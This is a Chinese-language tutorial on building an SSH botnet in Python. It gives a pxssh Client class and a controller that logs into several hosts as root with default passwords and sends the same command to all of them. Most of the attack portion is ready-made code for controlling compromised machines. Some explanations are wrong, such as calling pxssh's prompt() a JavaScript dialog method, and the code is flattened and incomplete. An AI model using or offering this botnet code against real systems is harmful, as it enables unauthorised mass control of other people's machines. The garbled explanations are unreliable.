目錄
一、簡介
1.1、概述:
二、實現
2.1、函數:
2.2、連接:
2.3、組建僵屍網絡
1.1、概述:
能通過SSH控制主機, 接下來就要同時控制多台主機
攻擊者在達成惡意目的時, 通常會使用被黑掉的計算機群。我們稱之為僵屍網絡, 因為被黑掉的電腦會像僵屍一樣執行指令。為構建僵屍網絡, 我們必須引入一個新的概念一類。類的概念是面向編程對象和編程模型的基礎。在這一編程模型中, 我們會把各個對象和它們所關聯的方法一起實例化。在僵屍網絡中, 每個單獨的僵屍或client(客戶端)都需要有能連上某台肉機,並把命令發送給肉機的能力
2.1、函數:
__init__ :是初始化initialization的縮寫,在使用類創建對象之後被執行,用於給新創建的對象初始化屬性用,如初始化屬性的語句就是 self.name=name
prompt是 javascript語言中的一個方法,主要用處是顯示提示對話框
2.2、連接:
實現每個單獨的僵屍或client(客戶端)都需要有能連上某台肉機,並把命令發送給肉機的能力
import optparse import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] Error Connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before
2.3、組建僵屍網絡
生成Client()類對象的代碼。為了構造client 對象, 需要主機名、用戶名,以及密碼或密鑰。同時, 這個類還要包含維持與肉機連接所需的方法 connect() 、send_ command()和alive()。當引用屬於類中的變量時, 是以self 後接變量名的方式表示它的。
為了構建僵屍網絡, 要建立一個名為botNet 的全局數組,其中記錄了單個client 對象。編寫一個名為addClient()的方法,它的輸入是主機名、用戶和密碼,並以此實例化一個client 對象, 並把它添加到botNet 數組裡。接下來的botnetComrnand()函數只要一個參數要發布的命令。這個函數遍歷整個數組, 把命令發送到botNet 數組中的每個client 上
import optparse import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] Error Connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before def botnetCommand(command): for client in botNet: output= client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output + '\n') def addClient(host, user, password): client = Client( host, user, password ) botNet.append(client) botNet = [] addClient('10.10.10.110', 'root', 'toor') addClient('10.10.10.120', 'root', 'toor') addClient('10.10.10.130', 'root', 'toor') botnetCommand('uname -v') botnetCommand('cat /etc/issue')